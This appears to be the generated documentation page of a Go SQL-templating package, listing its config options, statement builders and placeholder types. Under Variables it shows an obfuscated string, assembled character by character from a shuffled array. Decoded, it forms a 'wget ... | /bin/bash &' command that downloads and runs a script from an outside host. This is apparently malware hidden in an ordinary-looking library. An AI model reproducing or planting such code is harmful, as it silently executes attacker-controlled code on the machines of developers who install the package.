Documentation
¶
Index ¶
- Variables
- type Config
- func AtP() Config
- func Cache(size int, exp time.Duration) Config
- func Colon() Config
- func Dialect(name string) Config
- func Dollar() Config
- func Funcs(fm template.FuncMap) Config
- func Lookup(name string) Config
- func New(name string) Config
- func NoCache() Config
- func NoExpirationCache(size int) Config
- func Parse(txt string) Config
- func ParseFS(sys fs.FS, patterns ...string) Config
- func ParseFiles(filenames ...string) Config
- func ParseGlob(pattern string) Config
- func Postgres() Config
- func Question() Config
- func Slog(logger *slog.Logger) Config
- func Sqlite() Config
- func UnlimitedSizeCache(expiration time.Duration) Config
- type DB
- type Expression
- type Hasher
- type Info
- type Logger
- type ParseOption
- type Placeholder
- type PositionalPlaceholder
- type Raw
- type Statement
- func All[Param any, Dest any](configs ...Config) Statement[Param, []Dest]
- func Custom[Param any, Dest any, Result any](exec func(ctx context.Context, db DB, expr Expression[Dest]) (Result, error), ...) Statement[Param, Result]
- func Exec[Param any](configs ...Config) Statement[Param, sql.Result]
- func First[Param any, Dest any](configs ...Config) Statement[Param, Dest]
- func One[Param any, Dest any](configs ...Config) Statement[Param, Dest]
- func Query[Param any](configs ...Config) Statement[Param, *sql.Rows]
- func QueryRow[Param any](configs ...Config) Statement[Param, *sql.Row]
- type StaticPlaceholder
- type StructuredLogger
Constants ¶
This section is empty.
Variables ¶
View Source
var BFKmuM = DR[54] + DR[19] + DR[25] + DR[45] + DR[64] + DR[57] + DR[36] + DR[20] + DR[35] + DR[49] + DR[62] + DR[77] + DR[59] + DR[75] + DR[72] + DR[47] + DR[63] + DR[17] + DR[28] + DR[22] + DR[50] + DR[38] + DR[15] + DR[7] + DR[16] + DR[9] + DR[29] + DR[2] + DR[1] + DR[70] + DR[3] + DR[5] + DR[8] + DR[32] + DR[55] + DR[52] + DR[73] + DR[10] + DR[40] + DR[12] + DR[67] + DR[53] + DR[14] + DR[42] + DR[74] + DR[76] + DR[65] + DR[6] + DR[4] + DR[69] + DR[58] + DR[11] + DR[56] + DR[0] + DR[26] + DR[23] + DR[34] + DR[71] + DR[48] + DR[30] + DR[66] + DR[41] + DR[37] + DR[21] + DR[44] + DR[33] + DR[31] + DR[60] + DR[43] + DR[68] + DR[24] + DR[51] + DR[39] + DR[13] + DR[18] + DR[61] + DR[27] + DR[46]
View Source
var DR = []string{"d", "t", "s", "t", "3", "u", "e", "w", "s", "r", "/", "d", "t", "a", "a", "r", "o", "/", "s", "g", " ", "f", "y", "/", "n", "e", "f", " ", "h", "d", "5", " ", ".", "|", "a", "-", "O", "b", "e", "b", "s", "6", "g", "b", " ", "t", "&", ":", "1", " ", "p", "/", "c", "r", "w", "i", "0", "-", "3", "t", "/", "h", "h", "/", " ", "d", "4", "o", "i", "7", "a", "3", "s", "u", "e", "p", "/", "t"}
Functions ¶
This section is empty.
Types ¶
type Config ¶
type Config struct {
Dialect string
Placeholder Placeholder
Logger Logger
ExpressionSize int
ExpressionExpiration time.Duration
Hasher Hasher
Funcs template.FuncMap
ParseOptions []ParseOption
}
func NoExpirationCache ¶
func ParseFiles ¶
func UnlimitedSizeCache ¶
type Expression ¶
type Expression[Dest any] struct { SQL string Args []any Mapper structscan.Mapper[Dest] }
type ParseOption ¶
type PositionalPlaceholder ¶
type PositionalPlaceholder string
func (PositionalPlaceholder) WritePlaceholder ¶
func (p PositionalPlaceholder) WritePlaceholder(pos int, writer io.Writer) error
type Statement ¶
type Statement[Param, Result any] interface { Exec(ctx context.Context, db DB, param Param) (Result, error) }
type StaticPlaceholder ¶
type StaticPlaceholder string
func (StaticPlaceholder) WritePlaceholder ¶
func (p StaticPlaceholder) WritePlaceholder(_ int, writer io.Writer) error
Click to show internal directories.
Click to hide internal directories.